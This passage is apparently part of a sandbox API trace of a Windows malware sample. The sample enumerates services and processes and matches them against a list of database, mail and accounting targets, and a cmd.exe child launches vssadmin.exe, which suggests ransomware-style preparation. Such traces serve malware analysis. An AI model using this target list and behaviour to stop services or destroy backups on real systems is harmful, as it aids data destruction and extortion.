lpString2="RpcEptMapper") returned 1 [0150.453] lstrlenW (lpString="RpcSs") returned 5 [0150.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0150.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0150.453] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0150.453] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0150.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0150.453] lstrlenW (lpString="SamSs") returned 5 [0150.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0150.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0150.453] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0150.453] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0150.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0150.453] lstrlenW (lpString="Schedule") returned 8 [0150.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0150.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0150.453] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0150.453] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0150.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0150.453] lstrlenW (lpString="SENS") returned 4 [0150.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0150.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0150.453] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0150.453] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0150.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0150.454] lstrlenW (lpString="ShellHWDetection") returned 16 [0150.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.454] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0150.454] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0150.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0150.454] lstrlenW (lpString="Spooler") returned 7 [0150.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0150.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0150.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0150.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0150.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0150.454] lstrlenW (lpString="SysMain") returned 7 [0150.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0150.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0150.454] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0150.454] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0150.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0150.454] lstrlenW (lpString="Themes") returned 6 [0150.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0150.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0150.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0150.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0150.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0150.454] lstrlenW (lpString="TrkWks") returned 6 [0150.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0150.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0150.454] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0150.454] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0150.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0150.454] lstrlenW (lpString="UxSms") returned 5 [0150.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0150.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0150.455] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0150.455] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0150.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0150.455] lstrlenW (lpString="WdiServiceHost") returned 14 [0150.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0150.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0150.455] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0150.455] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0150.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0150.455] lstrlenW (lpString="WdiSystemHost") returned 13 [0150.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0150.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0150.455] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0150.455] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0150.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0150.455] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0150.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0150.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0150.455] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0150.455] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0150.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0150.455] lstrlenW (lpString="Winmgmt") returned 7 [0150.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0150.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0150.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0150.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0150.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0150.455] lstrlenW (lpString="WPDBusEnum") returned 10 [0150.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0150.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0150.456] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0150.456] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0150.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0150.456] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x42a10a8 | out: hHeap=0x630000) returned 1 [0150.456] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0150.458] Process32FirstW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.459] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0150.459] lstrlenW (lpString="System") returned 6 [0150.459] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0150.459] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0150.459] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0150.459] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0150.459] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0150.459] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0150.459] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0150.459] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0150.460] lstrlenW (lpString="smss.exe") returned 8 [0150.460] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0150.460] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0150.460] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0150.460] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0150.460] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0150.460] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0150.460] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0150.460] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.460] lstrlenW (lpString="csrss.exe") returned 9 [0150.460] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0150.460] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0150.460] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0150.460] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0150.460] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0150.460] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0150.460] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0150.460] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0150.461] lstrlenW (lpString="wininit.exe") returned 11 [0150.461] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0150.461] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0150.461] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0150.461] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0150.461] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0150.461] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0150.461] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0150.461] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.461] lstrlenW (lpString="csrss.exe") returned 9 [0150.461] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0150.461] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0150.461] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0150.461] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0150.461] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0150.462] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0150.462] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0150.462] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0150.462] lstrlenW (lpString="winlogon.exe") returned 12 [0150.462] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0150.462] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0150.462] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0150.462] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0150.462] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0150.463] lstrlenW (lpString="services.exe") returned 12 [0150.463] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0150.463] lstrlenW (lpString="lsass.exe") returned 9 [0150.463] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0150.463] lstrlenW (lpString="lsm.exe") returned 7 [0150.463] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.464] lstrlenW (lpString="svchost.exe") returned 11 [0150.464] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.464] lstrlenW (lpString="svchost.exe") returned 11 [0150.464] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.464] lstrlenW (lpString="svchost.exe") returned 11 [0150.464] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.465] lstrlenW (lpString="svchost.exe") returned 11 [0150.465] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.465] lstrlenW (lpString="svchost.exe") returned 11 [0150.465] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0150.466] lstrlenW (lpString="audiodg.exe") returned 11 [0150.466] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.466] lstrlenW (lpString="svchost.exe") returned 11 [0150.466] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0150.466] lstrlenW (lpString="userinit.exe") returned 12 [0150.466] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0150.538] lstrlenW (lpString="explorer.exe") returned 12 [0150.539] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0150.540] lstrlenW (lpString="dwm.exe") returned 7 [0150.540] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.540] lstrlenW (lpString="svchost.exe") returned 11 [0150.540] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0150.540] lstrlenW (lpString="n.exe") returned 5 [0150.541] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0150.541] lstrlenW (lpString="spoolsv.exe") returned 11 [0150.541] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.541] lstrlenW (lpString="svchost.exe") returned 11 [0150.541] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0150.542] lstrlenW (lpString="taskhost.exe") returned 12 [0150.542] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0150.542] lstrlenW (lpString="reader_sl.exe") returned 13 [0150.542] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0150.542] lstrlenW (lpString="rundll32.exe") returned 12 [0150.542] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0150.543] lstrlenW (lpString="dinotify.exe") returned 12 [0150.543] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0150.543] lstrlenW (lpString="n.exe") returned 5 [0150.543] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0150.544] lstrlenW (lpString="cmd.exe") returned 7 [0150.544] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0150.544] lstrlenW (lpString="conhost.exe") returned 11 [0150.544] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x700, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0150.544] lstrlenW (lpString="vssadmin.exe") returned 12 [0150.544] Process32NextW (in: hSnapshot=0x330, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x700, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0150.545] CloseHandle (hObject=0x330) returned 1 [0150.545] Sleep (dwMilliseconds=0x1f4) [0151.091] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dcd30 [0151.091] EnumServicesStatusExW (in: hSCManager=0x42dcd30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0151.091] GetLastError () returned 0xea [0151.091] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x433d178 [0151.092] EnumServicesStatusExW (in: hSCManager=0x42dcd30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x433d178, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x433d178, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0151.092] CloseServiceHandle (hSCObject=0x42dcd30) returned 1 [0151.092] lstrlenW (lpString="Appinfo") returned 7 [0151.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0151.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0151.092] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0151.092] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0151.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0151.093] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0151.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0151.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0151.093] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0151.093] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0151.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0151.093] lstrlenW (lpString="AudioSrv") returned 8 [0151.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0151.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0151.093] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0151.093] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0151.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0151.093] lstrlenW (lpString="BFE") returned 3 [0151.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0151.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0151.093] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0151.093] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0151.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0151.093] lstrlenW (lpString="CryptSvc") returned 8 [0151.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0151.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0151.093] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0151.093] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0151.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0151.093] lstrlenW (lpString="CscService") returned 10 [0151.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0151.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0151.093] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0151.093] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0151.093] 